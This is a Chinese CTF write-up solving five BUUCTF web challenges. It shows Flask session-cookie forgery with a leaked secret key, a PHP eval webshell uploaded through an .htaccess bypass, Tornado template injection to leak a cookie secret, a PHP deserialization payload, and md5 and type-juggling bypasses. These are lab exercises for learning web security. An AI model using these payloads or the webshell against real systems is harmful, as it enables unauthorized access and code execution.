BUUCTF-Web方向21-25wp
目录
- [HCTF 2018]admin
- 弱口令
- session伪造
- [MRCTF2020]你传你🐎呢
- [护网杯 2018]easy_tornado
- [ZJCTF 2019]NiZhuanSiWei
- [MRCTF2020]Ez_bypass
- 第一层
- 第二层
[HCTF 2018]admin
打开环境,有三处提示,一个跳转链接,一个登录注册,一个提示不是admin

点击hctf,无法访问

注册个账号,依旧无法查看,看来需要admin账号

弱口令
爆破密码

当密码未123长度明显不同

登录

session伪造
在修改密码界面,提示session

下载该源码查看,index.php
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %} //session的name=admin才行
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>{% include('footer.html') %}
session值
.eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg
在config.py中
import os
class Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' //secret_key=ckj123SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True
工具下载
git clone https://github.com/noraj/flask-session-cookie-manager

解密:
python3 flask_session_cookie_manager3.py decode -c .eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg -s ckj123

解密结果,这里我们需要将name改成admin
{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'track', 'user_id': '10'}
进行session伪造
python3 flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'admin', 'user_id': '10'}" -s ckj123

伪造的session
.eJw9UE2PgjAQ_SubOXuQghcTD26KBpJpgykh04txEYFi3QQ1QI3_faubeJi8w_uYN_OA_amvrg0sb_29msG-PcLyAV8_sASy2iCvF6gokEU8IaOBimQueTcJlg2afzey2JylykdyuwZNHAmXh7pIvTN2wsYM7c6QWjPhMoeqDsh6ncVRvjTce_mmJdOFssAFuXgSvJwLlgTe6zFjpHyHIo_EdnMmV4d6mwd6S6PkyaTN2vnsyM8KnjMor_1pf_vtqsvnBDTlIBQxZFlIph6F8We4tNMmH5B3EfLSV_erVNq-kMzRYL16x7X2UFefpOrcxHn2z1wO1hNwONr2AjO4X6v-_TcI5vD8A-oIbNE.Z7qUFw.wgQI2lOZR0DLoEc8neo5vNoDBaU
在初始页面包中修改session,拿到flag

[MRCTF2020]你传你🐎呢
本题:上传一句话木马判断过滤方式,白名单/黑名单,成功绕过之后,找上传路径,访问该路径,如果没有解析出来,需要抓包上传.htaccess文件,使上传的木马文件正常解析,然后再次访问木马文件,成功解析之后再用蚁剑链接
当我们上传文件时,会随机生成上传路径(即一个目录),如果只是单独的一个shell.jpg是无法正常解析的,需要.htaccess文件使在同一目录下被包含的文件正常解析,如下

打开环境,是文件上传

这里测试之后发现过滤了php,phtml等文件,而且上传的木马文件会无法解析,所以这题需要利用文件绕过
上传图片马文件,然后查看路径,会发现浏览器无法正常解析
上传一个htaccess文件然后抓包修改

然后上传木马文件
track
<?php @eval($_POST["a"]);?>

访问该路径,正常解析

使用蚁剑连接即可
[护网杯 2018]easy_tornado
打开环境,有三处跳转

逐个查看
flag.txt,提示flag在**/fllllllllllllag**

welcome.txt,给了一个render

hint.txt,告诉了一个格式md5(cookie_secret+md5(filename))

在访问的时候我们注意到,url存在相同格式
url/file?filename=/文件名&filehash=32位小写md5
所以说这题应该是要利用flag路径然后找到cookie_secret然后进行md5加密,结合题目应该是tornamo模板注入漏洞
当报错时,会有一个msg参数,会回显输入的值

看看{{7*7}}

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,这里面就存在我们需要的cookie_secret

拿到之后就可以加密求解了
md5(1aafd574-698c-4ae2-9caa-80f45c8af977+md5(/fllllllllllllag))
#md5(1aafd574-698c-4ae2-9caa-80f45c8af9773bf9f6cf685a6dd8defadabfb41a03a1)
#6150fe6edda96aee462235e6fe5e6b9d
拿到flag

[ZJCTF 2019]NiZhuanSiWei
打开环境,是如下源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //用了强比较===,检查text变量是否是welcome to the zjctfecho "<br><h1>".file_get_contents($text,'r')."</h1></br>"; //是则输出if(preg_match("/flag/",$file)){ //禁止了file变量中存在/flag字符串echo "Not now!";exit(); }else{include($file); //useless.php //可能需要读取useless.php$password = unserialize($password); //将password反序列化echo $password;}
}
else{highlight_file(__FILE__);
}
?>
先用data url绕过第一层
url?text=data://text/plain,welcome to the zjctf

利用php伪协议读取useless.php
url/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到useless.php的源码
<?php class Flag{ //flag.php //定义Flag类public $file; //定义file属性,存储文件路径或文件名。由于它是公共的,外部代码可以直接访问和修改它。public function __tostring(){ //一种魔术方法,当对象被当作字符串使用时会被自动调用,如echo,print if(isset($this->file)){ echo file_get_contents($this->file); //打印file属性指向的文件echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
进行序列化

拿到序列化内容
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
进行拼接得到最终pyload
http://9d48ea6b-724a-4517-b3d8-a12b5eb11352.node5.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码得到flag

[MRCTF2020]Ez_bypass
打开环境,是如下源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) { //get方式传入gg和id两个参数$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) { //====强比较,md5值相同,本身不同echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)) //如果不是纯数字,进入下一层{if($passwd==1234567) //检查passwd位1234567,{echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}
}else {echo "You are not a real hacker!";}
}
else{die('Please input first');
}
}Please input first
第一层
利用数组绕过

第二层
这里需要利用php特性,==是弱比较类型,由于php是一种弱语言,所以在比较时会自动转化位同一类型,这里利用了intval函数,而本体函数不能是纯数字,并且也必须=1234567,故可以用数字+字符拼接绕过,因为字符不会被转换,及1234567aa=1234567
拿到flag

相关文章:
BUUCTF-Web方向21-25wp
目录 [HCTF 2018]admin弱口令session伪造 [MRCTF2020]你传你🐎呢[护网杯 2018]easy_tornado[ZJCTF 2019]NiZhuanSiWei[MRCTF2020]Ez_bypass第一层第二层 [HCTF 2018]admin 打开环境,有三处提示,一个跳转链接,一个登录注册&#x…...
软考——WWW与HTTP
1.万维网(world wide web) 是一个规模巨大的、可以资源互联的资料空间。由URL进行定位,通过HTTP协议传送给使用者,又由HTML来进行文件的展现。 它的主要组成部分是:URL、HTTP、HTML。 (1)URL…...
GO 进行编译时插桩,实现零码注入
Go 编译时插桩 Go 语言的编译时插桩是一种在编译阶段自动注入监控代码的技术,目的是在不修改业务代码的情况下,实现对应用程序的监控和追踪。 基本原理 Go 编译时插桩的核心思想是通过在编译过程中对源代码进行分析和修改,将监控代码注入到…...
为人工智能驱动的交通研究增强路面传感器数据采集
论文标题 英文标题:Enhancing Pavement Sensor Data Harvesting for AI-Driven Transportation Studies 中文标题:为人工智能驱动的交通研究增强路面传感器数据采集 作者信息 Manish Kumar Krishne Gowda Purdue University, 465 Northwestern Avenue,…...
unordered_set和unordered_map的使用
Hello,今天我来为大家介绍一下前几年才刚刚新出的两个容器——unordered_map和unordered_set,这两个容器属于是map系列和set系列中的一种,和map/set不同的是它们的底层,map/set的底层是红黑树,而unordered_map/unorder…...
【实体类】分层设计
【实体类】分层设计 【一】实体类的PO、VO、DO、DAO、BO、DTO、POJO有什么区别【1】PO(Persistent Object)【2】VO(View Object)【3】DO(Domain Object)【4】DAO(Data Access Object)…...
【无人集群系列---无人机集群编队算法】
【无人集群系列---无人机集群编队算法】 一、核心目标二、主流编队控制方法1. 领航-跟随法(Leader-Follower)2. 虚拟结构法(Virtual Structure)3. 行为法(Behavior-Based)4. 人工势场法(Artific…...
C语言基本知识------指针(4)
1. 回调函数是什么? 回调函数就是⼀个通过函数指针调用的函数。 如果你把函数的指针(地址)作为参数传递给另⼀个函数,当这个指针被⽤来调⽤其所指向的函数 时,被调⽤的函数就是回调函数。 void qsort(void base,//指针…...
深度学习pytorch之19种优化算法(optimizer)解析
提示:有谬误请指正 摘要 本博客详细介绍了多种常见的深度学习优化算法,包括经典的LBFGS 、Rprop 、Adagrad、RMSprop 、Adadelta 、ASGD 、Adamax、Adam、AdamW、NAdam、RAdam以及SparseAdam等,通过对这些算法的公式和参数说明进行详细解析…...
使用 BFS 解决 最短路问题
找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏: 优选算法专题 目录 1926.迷宫中离入口最近的出口 433.最小基因变化 127.单词接龙 675.为高尔夫比赛砍树 1926.迷宫中离入口最近的出口 题…...
【嵌入式Linux应用开发基础】网络编程(1):TCP/IP协议栈
目录 一、TCP/IP协议栈分层与核心协议 2.1. 应用层 2.2. 传输层 2.3. 网络层 2.4. 链路层 二、嵌入式Socket编程关键步骤 2.1. TCP服务端流程 2.2. TCP客户端流程 三、TCP/IP协议栈的配置与调试 四、嵌入式场景优化策略 4.1. 资源管理 4.2. 性能调优 4.3. 健壮性保…...
OpenCalib(七)二维码检测
1. 前言 前面无论是对棋盘格标靶还是圆形标靶检测时,一般都需要将所有标靶全部检出,这样才能根据标靶的分布确定每个标靶的相对位置。举个例子,对于5x5分布的棋盘格,如果我们只检出4x4排列的棋盘格,那么它在整个棋盘格中可能存在4种分布,此时我们无法确认检测结果中各个棋…...
DeepSeek在初创企业、教育和数字营销领域应用思考
如今,像 DeepSeek 这样的人工智能工具正在改变企业的运营方式,优化流程并显著提高生产力。通过重复任务的自动化、大量数据的分析以及内容创建效率的提高,组织正在寻找新的竞争和卓越方式。本文介绍了 DeepSeek 如何用于提高三个关键领域的生…...
BUUCTF--[极客大挑战 2019]RCE ME
目录 URL编码取反绕过 异或绕过 异或的代码 flag 借助蚁剑中的插件进行绕过 利用动态链接库 编写恶意c语言代码 进行编译 然后再写一个php文件 将这两个文件上传到/var/tmp下 运行payload 直接看代码 <?php error_reporting(0); if(isset($_GET[code])){$code$_G…...
【K8s】专题十六(2):Kubernetes 包管理工具之 Helm 使用
本文内容均来自个人笔记并重新梳理,如有错误欢迎指正! 如果对您有帮助,烦请点赞、关注、转发、订阅专栏! 专栏订阅入口 | 精选文章 | Kubernetes | Docker | Linux | 羊毛资源 | 工具推荐 | 往期精彩文章 【Docker】(全…...
使用anaconda装虚拟环境
1. 下载好anaconda, 可以参考 笔记 2. 创建虚拟环境 # 创建新环境 # (Conda 允许创建任意 Python 版本的环境,与基础环境无关。) # 需要指定python版本,不指定就没有 conda create -n xxx_env python3.8 3. 查看有哪些anacond…...
玩转Docker | 使用Docker搭建Vikunja任务管理应用
玩转Docker | 使用Docker搭建Vikunja任务管理应用 前言一、 Vikunja介绍Vikunja 简介主要特点二、系统要求环境要求环境检查Docker版本检查检查操作系统版本三、部署Vikunja服务下载镜像创建容器检查容器状态检查服务端口安全设置四、访问Vikunja应用注册账号访问Vikunja主页五…...
VMware NSX 4.X Professional V2(2V0-41.24)题库2
What are two supported host switch modes? (Choose two.) A. Overlay Datapath B. Secure Datapath C. Standard Datapath D. Enhanced Datapath E. DPDK Datapath 答案:CD 完整题库见文章底部! Which is an advantage of an L2 VPN in an NSX 4.x …...
算法-数据结构-图的构建(邻接矩阵表示)
数据定义 //邻接矩阵表示图 //1.无向图是对称的 //2.有权的把a,到b 对应的位置换成权的值/*** 无向图* A B* A 0 1* B 1 0*/ /*** 有向图* A B* A 0 1* B 0 0*/import java.util.ArrayList; import java.util.List;/*** 带权图* A B* A 0 1* B 0 0*/ p…...
ARCGIS国土超级工具集1.4更新说明
ARCGIS国土超级工具集V1.4版本,功能已增加至54 个。本次更新在V1.3版本的基础上,新增了“拓扑问题修复工具”并同时调整了数据处理工具栏的布局、工具操作界面的选择图层下拉框新增可选择位于图层组内的要素图层功能、数据保存路径新增了可选择数据库内的…...
Ollama+Cherrystudio+beg-m3+Deepseek R1 32b部署本地私人知识库(2025年2月win11版)
之前综合网络各方面信息得到的配置表: 在信息爆炸的时代,数据安全和个性化需求愈发凸显。搭建本地私人知识库,不仅能确保数据的安全性,还能根据个人需求进行个性化定制,实现知识的高效管理和利用。随着技术的不断发展…...
Websocket、WebRTC在大模型中的应用
文章目录 WebSocket简介Websocket流程图使用场景代码示例 WebRTC简介WebRTC(Web Real-Time Communication)流程图使用场景代码示例 大模型应用,使得 WebSocket, WebRTC 的使用频率越来越高,WebSocket提供了文本输入与大…...
C++ 顺序容器--vector容器详解
元素保存在连续的内存空间中。插入元素或者删除元素通常需要线性时间,当这些操作在尾部执行时,实际运行时间为摊还常量时间。随机访问某个元素的复杂度为常量时间。 1 vector 概述 vector 在<vector>头文件中被定义为一个带有2个类型参数的类模板…...
用Golang与WebAssembly构建高性能Web应用:详解`syscall/js`包
用Golang与WebAssembly构建高性能Web应用:详解syscall/js包 引言为什么选择syscall/js包?适用场景 syscall/js包概述syscall/js包的核心概念1. js.Global2. js.Value3. js.Func4. js.Null 和 js.Undefined syscall/js包在WebAssembly中的位置 环境配置与…...
LeetCode刷题 -- 23. 合并 K 个升序链表
小根堆排序与合并 K 个有序链表的实现 1. 介绍 本技术文档详细介绍了如何使用 小根堆(Min Heap) 实现 K 个有序链表的合并。 核心思想是: 使用 小根堆 维护当前最小的节点。每次取出堆顶元素(最小值)加入合并链表&…...
【每日八股】计算机网络篇(一):概述
OSI 的 7 层网络模型? OSI(Open Systems Interconnection,开放互联系统)是由国际标准化组织(ISO)提出的一种网络通信模型。 自上而下,OSI 可以被分为七层,分别是:应用层…...
业务应用和大数据平台的数据流向
概述 业务应用与大数据平台之间的交互是实现数据驱动决策和实时业务处理的关键环节。其交互方式多样,协议选择取决于数据流向、实时性要求及技术架构。一句话总结,数据流向可以是从业务应用写入大数据平台,也可以是大数据平台回写至业务应用…...
C语言中的文件和文件操作
文件操作 一、文件的打开和关闭二、文件的顺序读写fgetc和fputcfgets和fputsfscanf和fprintfsscanf和sprintffread和fwrite 三、文件的随机读写1.fseek2.ftell3.rewind 四、补充1.文件读取结束的判定2.文件缓冲区 一、文件的打开和关闭 流和标准流 流:想象为流淌着…...
插入排序:一种简单而直观的排序算法
大家好!今天我们来聊聊一个简单却非常经典的排序算法——插入排序(Insertion Sort)。在所有的排序算法中,插入排序是最直观的一个。 一、插入排序的基本思想 插入排序的核心思想是:将一个待排序的元素,插…...
2.24力扣每日一题--设计有序流
1656. 设计有序流 - 力扣(LeetCode) (设计一个可以存储n个字符串的数据结构,其中满足存在一个”指针“,用以展示当下是否还存在空间存储,每个字符串有自己ID需要存储) 数据结构: 字…...
